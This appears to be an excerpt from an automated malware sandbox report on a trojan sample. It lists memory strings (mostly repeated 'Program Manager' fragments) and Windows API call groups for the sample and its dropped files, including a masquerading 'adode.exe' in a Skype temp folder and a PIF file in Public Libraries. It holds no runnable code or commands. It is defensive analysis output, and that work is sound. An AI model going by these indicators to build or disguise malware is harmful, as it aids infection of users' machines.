Source: adode.exe, 00000004.00000003.2480570712.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2468471495.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2473564906.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr]
Source: adode.exe, 00000004.00000003.2784437055.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2780705231.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerK
Source: adode.exe, 00000004.00000003.3518879475.00000000008A5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3533789085.00000000008A5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3510225650.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\k
Source: adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\TI
Source: adode.exe, 00000004.00000003.2705096405.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2699820103.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager8
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3656939165.0000000015D38000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3577679009.0000000015D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\j
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3253018464.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\h
Source: adode.exe, 00000004.00000003.2814123631.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2820664570.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2817462328.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager4
Source: adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\fIIm
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3253018464.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\c
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3253018464.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\d
Source: adode.exe, 00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3887590993.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: adode.exe, 00000004.00000003.2833951374.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2830898187.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2814123631.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager=
Source: adode.exe, 00000004.00000003.3807553569.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3723052775.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerWL;
Source: adode.exe, 00000004.00000003.3537714485.0000000015D38000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2855074548.0000000015D37000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3703105600.0000000015D37000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager>
Source: adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\TId
Source: adode.exe, 00000004.00000003.3506593763.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerople
Source: adode.exe, 00000004.00000003.2441068745.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2449917599.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2454145194.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager<
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3344685828.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\ode[
Source: adode.exe, 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3122208691.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager:
Source: adode.exe, 00000004.00000003.4019259833.0000000000888000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3953908411.0000000000888000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4008449339.0000000000888000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\[
Source: adode.exe, 00000004.00000003.4019259833.0000000000888000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3953908411.0000000000888000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3910304327.0000000000888000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\\
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3253018464.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\Y
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager%
Source: adode.exe, 00000004.00000003.3494843315.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3450538530.000000000085D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3491451173.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\Z
Source: adode.exe, 00000004.00000003.2889014329.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2873140430.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2859040150.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\W
Source: adode.exe, 00000004.00000003.2833951374.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2830898187.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2820664570.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager!
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerGIF89aGIF87a\
Source: adode.exe, 00000004.00000003.3002901120.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2982370614.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2990216210.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\imF
Source: adode.exe, 00000004.00000003.3463355041.000000000085D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3466925908.000000000085D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3459476292.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\Q
Source: adode.exe, 00000004.00000003.2578962565.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager.
Source: adode.exe, 00000004.00000003.2833951374.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2830898187.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2814123631.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJSTUVWXYZcdefg
Source: adode.exe, 00000004.00000003.2593724777.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2464044779.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2486866069.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager+
Source: adode.exe, 00000004.00000003.3518879475.00000000008A5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3514661464.00000000008A6000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3510225650.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\8J
Source: adode.exe, 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\7(N
Source: adode.exe, 00000004.00000003.3416631758.000000000085D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3423935740.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3412843225.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager*
Source: adode.exe, 00000004.00000003.2776820874.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2787682560.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\K
Source: adode.exe, 00000004.00000003.3841222672.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3820021477.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3803248848.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\XL0
Source: adode.exe, 00000004.00000003.2855238771.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3841222672.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3884273916.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\
Source: adode.exe, 00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\I
Source: adode.exe, 00000004.00000003.2837115133.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2820664570.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2817462328.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\H
Source: adode.exe, 00000004.00000003.2889014329.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2873140430.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2859040150.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\\Wii
Source: adode.exe, 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3122208691.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manageru+n
Source: adode.exe, 00000004.00000003.3463355041.000000000085D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3476320911.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3450538530.000000000085D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\D
Source: adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\*.v
Source: adode.exe, 00000004.00000003.2855238771.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2866145380.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\Zcdefg
Source: adode.exe, 00000004.00000003.3561309353.0000000015D38000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3565823266.0000000015D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\13
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3316188466.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\imR
Source: adode.exe, 00000004.00000003.2855238771.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\=
Source: adode.exe, 00000004.00000003.3143777432.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3133149930.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3170185059.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\AD
Source: adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\im
Source: adode.exe, 00000004.00000003.2859040150.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\\INN
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3316188466.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\GIF87a\
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerodecTI
Source: adode.exe, 00000004.00000003.3012377467.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\2
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerdecBMP
Source: adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\GIF87ac
Source: adode.exe, 00000004.00000003.3143777432.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3133149930.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\RH
Source: adode.exe, 00000004.00000003.2833951374.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2830898187.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3420691682.000000000085D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\*
Source: adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3303028046.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\%
Source: adode.exe, 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managero^
Source: adode.exe, 00000004.00000003.3506593763.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager/^g(
Source: adode.exe, 00000004.00000003.2855238771.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\!
Source: adode.exe, 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager7(N
Source: adode.exe, 00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager%
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3344685828.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3316188466.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\EGI
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerPNG*.
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3253018464.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\z'B
Source: adode.exe, 00000004.00000003.3548904309.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\hF
Source: adode.exe, 00000004.00000003.2982370614.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2990216210.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\bmpt
Source: adode.exe, 00000004.00000003.3573738953.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\k:=
Source: adode.exe, 00000004.00000003.3002901120.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2982370614.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\fII
Source: adode.exe, 00000004.00000003.3841222672.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3820021477.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3803248848.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\WL;
Source: adode.exe, 00000004.00000003.2873140430.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2859040150.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2862520056.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\DatE
Source: adode.exe, 00000004.00000003.3114434732.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3002901120.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3026599229.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\BMPs
Source: adode.exe, 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4139785485.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\.(w
Source: adode.exe, 00000004.00000003.3002901120.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3026599229.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2982370614.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\EG}
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3143777432.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\,go
Source: adode.exe, 00000004.00000003.2880553943.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerDatE
Source: adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_16054C52 cpuid

0_2_16054C52

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_16072610
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: EnumSystemLocalesW,	0_2_16068404
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_1607243C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetLocaleInfoW,	0_2_16072543
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetLocaleInfoW,	0_2_16072313
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: EnumSystemLocalesW,	0_2_16072036
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_160720C3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: EnumSystemLocalesW,	0_2_16071F50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: EnumSystemLocalesW,	0_2_16071F9B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_16071CD8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetLocaleInfoA,	0_2_1602F8D1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetLocaleInfoW,	0_2_160688ED
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	0_2_03F7D5D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_03F65A90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetLocaleInfoA,	0_2_03F6A7CC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetLocaleInfoA,	0_2_03F6A780
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	0_2_03F7D5D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_03F65B9C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	0_2_03F85FA0
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: EnumSystemLocalesA,	6_2_0403D5D0
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: EnumSystemLocalesA,	6_2_04045F9F
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: GetLocaleInfoW,	6_2_157A2543
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_157A243C
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: EnumSystemLocalesW,	6_2_15798404
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	6_2_157A1CD8
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: EnumSystemLocalesW,	6_2_157A1F50
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: EnumSystemLocalesW,	6_2_157A1F9B
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_157A2610
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: EnumSystemLocalesW,	6_2_157A2036
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: GetLocaleInfoW,	6_2_157988ED
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: GetLocaleInfoW,	6_2_157A2313
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: GetLocaleInfoW,	6_2_157A230A
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: GetLocaleInfoA,	6_2_1575F8D1
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: CoInitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	7_2_0409D5D0
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	7_2_04085A90
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetLocaleInfoA,	7_2_0408A7CC
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	7_2_040A5F9F
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	7_2_04085B9B
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetLocaleInfoA,	7_2_15EBF8D1
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetLocaleInfoW,	7_2_15F02543
